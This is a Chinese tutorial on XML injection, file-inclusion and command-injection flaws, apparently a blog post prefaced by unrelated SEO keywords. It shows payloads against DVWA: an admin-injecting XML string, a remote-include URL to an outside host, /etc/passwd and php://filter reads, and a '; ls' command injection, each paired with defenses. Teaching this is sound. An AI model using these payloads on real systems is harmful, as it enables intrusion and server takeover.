p2p网站开发多少钱,嵌入式软件开发属于前端还是后端,如何简单快速的制作网站,通信工程网站建设一、前言
结合内部资料#xff0c;与安全渗透部门同事合力整理的安全测试相关资料教程#xff0c;全方位涵盖电商、支付、金融、网络、数据库等领域的安全测试#xff0c;覆盖Web、APP、中间件、内外网、Linux、Windows多个平台。学完后一定能成为安全大佬#xff01; 全部…一、前言
结合内部资料与安全渗透部门同事合力整理的安全测试相关资料教程全方位涵盖电商、支付、金融、网络、数据库等领域的安全测试覆盖Web、APP、中间件、内外网、Linux、Windows多个平台。学完后一定能成为安全大佬 全部文章请访问专栏《全栈安全测试教程0基础》
通过本章节我们会学到
XML注入概念了解什么是XML注入漏洞了解XML注入漏洞产生的原因XML注入漏洞检测与防护掌握XML注入漏洞的利用方式掌握如何修复XML注入漏洞代码注入概念代码注入的类型及防御 文章目录 一、前言二、XML注入漏洞1什么是XML注入2XML注入产生的原因3XML注入漏洞例子4如何防御XML注入 三、代码注入漏洞1远程文件包含漏洞2本地文件包含漏洞3命令执行漏洞 二、XML注入漏洞
1什么是XML注入
XML injectionXML注入漏洞。XML注入类似于SQL注入XML文件一般用作存储数据及配置如果在修改或新增数据时没有对用户可控数据做转义直接输入或输出数据都将导致XML注入漏洞。
2XML注入产生的原因
XML注入产生的原因与SQL注入差不多
传输的数据包含了标签内容。修改数据时会覆盖原有的标签
3XML注入漏洞例子
服务器是生成XML来存储用户数据
?xml version1.0 encodingUTF-8?USER roleguestnameuser/name passwd123/passwd/USER USER roleadminnameadmin/name passwd1adtyr32e762t7te3/passwd /USER guest用户申请改密码会更改123。 要是用户提交的不是简单的字母组合而是如下信息
12345/passwd/USER
USER roleadmin
nameadmin/name
passwd123456/passwd
/USER这样配置文件会变成
?xml version1.0 encodingUTF-8?USER ruleguest nameuser/namepasswd12345/passwd/USER USER ruleadmin nameadmin/name passwd123456/passwd/USER!---/passwd /USERUSER roleadmin nameadmin/namepasswd1adtyr32e762t7te3/passwd
/USER 4如何防御XML注入
对用户输入进行检查 对特殊字符进行转码 -- -- – -- ’ -- ’
三、代码注入漏洞
代码注入包含
远程文件包含漏洞本地文件包含漏洞命令执行漏洞
1远程文件包含漏洞
程序开发人员通常会把可重复使用的函数写到单个文件中在使用某些函数时直接调用此文件而无须再次编写这种调用文件的过程一般被称为包含。
在通过PHP的函数引入文件时由于传入的文件名没有经过合理的校验从而操作了预想之外的文件导致意外的文件泄露甚至恶意的代码注入。
如果PHP的配置选项allow_url_include为ON的话则include/require函数是可以加载远程文件的这种漏洞被称为远程文件包含漏洞。 PHP常见的导致文件包含的函数如下
include()
include_once()
require()
require_once()
fopen()
readfile()远程文件包含漏洞风险
攻击者可利用代码注入漏洞执行任意代码来操作服务器攻击者可利用代码注入漏洞操作数据库插入恶意数据可能获取系统权限攻击者可利用代码注入攻击修改系统配置修改网络配置可能对服务器及网络造成影响代码注入攻击后可以进一步对网络渗透由于代码注入攻击多半可获取系统权限对网络的进一步渗透难度大大降低
如何利用远程文件包含漏洞
DVWA为例
http://mydvwa.com/dvwa/vulnerabilities/fi/?pagefile1.php上面链接中我们可以传递一个文件名PHP会根据文件名进行导入操作 我们可以指定我们自己编写的地址:http://site1.com/a.php 这里会输出phpinfo()内容。
http://mydvwa.com/dvwa/vulnerabilities/fi/?pagehttp://site1.com/a.php要是a.php中写入木马可以控制对方机器
远程文件包含漏洞代码审计方法
查看是否有如下代码
include(), include_once()
require(), require_once()
fopen()
readfile()如何修复远程文件包含漏洞
不需要执行远程代码时可以修改php.ini配置
allow_url_fopen Off
allow_url_include Off不要直接导入用户输入的内容 执行代码的参数或文件名禁止和用户输入相关只能由开发人员定义代码内容用户只能提交“1、2、3”等参数代表相应代码。
2本地文件包含漏洞
与远程文件包含漏洞类似可以读取任意的本地文件 可以通过远程文件包含漏洞来生成本地文件包含漏洞的代码来利用 本地文件包含漏洞可以包含本地文件在条件允许时甚至能执行代码 上传图片马然后包含 读敏感文件读PHP文件 包含日志文件GetShell 包含/proc/self/envion文件GetShell 包含data:或php://input等伪协议 若有phpinfo则可以包含临时文件
本地文件包含漏洞所用到的函数 与远程文件包含漏洞所用到的函数相同
include(), include_once()
require(), require_once()
fopen()
readfile()本地文件包含漏洞利用方式 漏洞危害
执行任意代码包含恶意文件控制网站甚至控制服务器
上传带有PHP代码的图片
http://mydvwa.com/dvwa/vulnerabilities/fi/?page../../../a.jpg读取PHP文件
http://mydvwa.com/dvwa/vulnerabilities/fi/?pagephp://filter/readconvert.base64-encode/resource../../../a.php读取系统敏感文件
http://mydvwa.com/dvwa/vulnerabilities/fi/?page/etc/passwd如何修复本地文件包含漏洞 不要直接导入用户输入的内容与远程文件包含漏洞相同 执行代码的参数或文件名禁止和用户输入相关只能由开发人员定义代码内容用户只能提交“1、2、3”等参数代表相应代码。
3命令执行漏洞
用户通过浏览器提交执行命令由于服务器端没有针对执行函数做过滤导致在没有指定绝对路径的情况下就执行命令可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码
在操作系统中“、|、||”都可以作为命令连接符使用用户通过浏览器提交执行命令由于服务器端没有针对执行函数做过滤导致在没有指定绝对路径的情况下就执行命令
命令注入漏洞对系统安全产生的危害
继承Web服务程序的权限去执行系统命令或读 - 写文件运行Web服务的用户权限等于黑客利用漏洞后执行命令的权限
反弹shell通过特定方式进行反弹shell攻击
控制整个网站甚至控制服务器根据权限可能服务器整体被沦陷
进一步内网渗透把当前控制的机器当作跳板来控制其它内网机器
命令注入漏洞例子
页面
http://mydvwa.com/dvwa/vulnerabilities/exec/正常参数 0.0.0.0(或其它IP 修改后的参数 0.0.0.0; ls 会输出当前目录的列表
第三方组件存在的代码执行漏洞 Struts2漏洞s2-16) Struts2的DefaultActionMapper支持一种方法可以使用”action:”, “redirect:” , “redirectAction:”对输入信息进行处理从而改变前缀参数这样操作的目的是方便表单中的操作。在2.3.15.1版本以前的struts2中没有对”action:”, “redirect:” , “redirectAction:”等进行处理导致ongl表达式可以被执行。
命令注入漏洞的修复方法
尽量不要执行外部命令 尽量使用脚本解决工作少用执行命令函数 使用自定义函数或函数库来替代外部命令的功能 程序参数的情况escapshellcmd过滤 程序参数值的情况escapeshellarg过滤 参数值尽量使用引用号包裹并在拼接前调用addslashes进行转义 使用safe_mode_exec_dir指定可执行文件的路径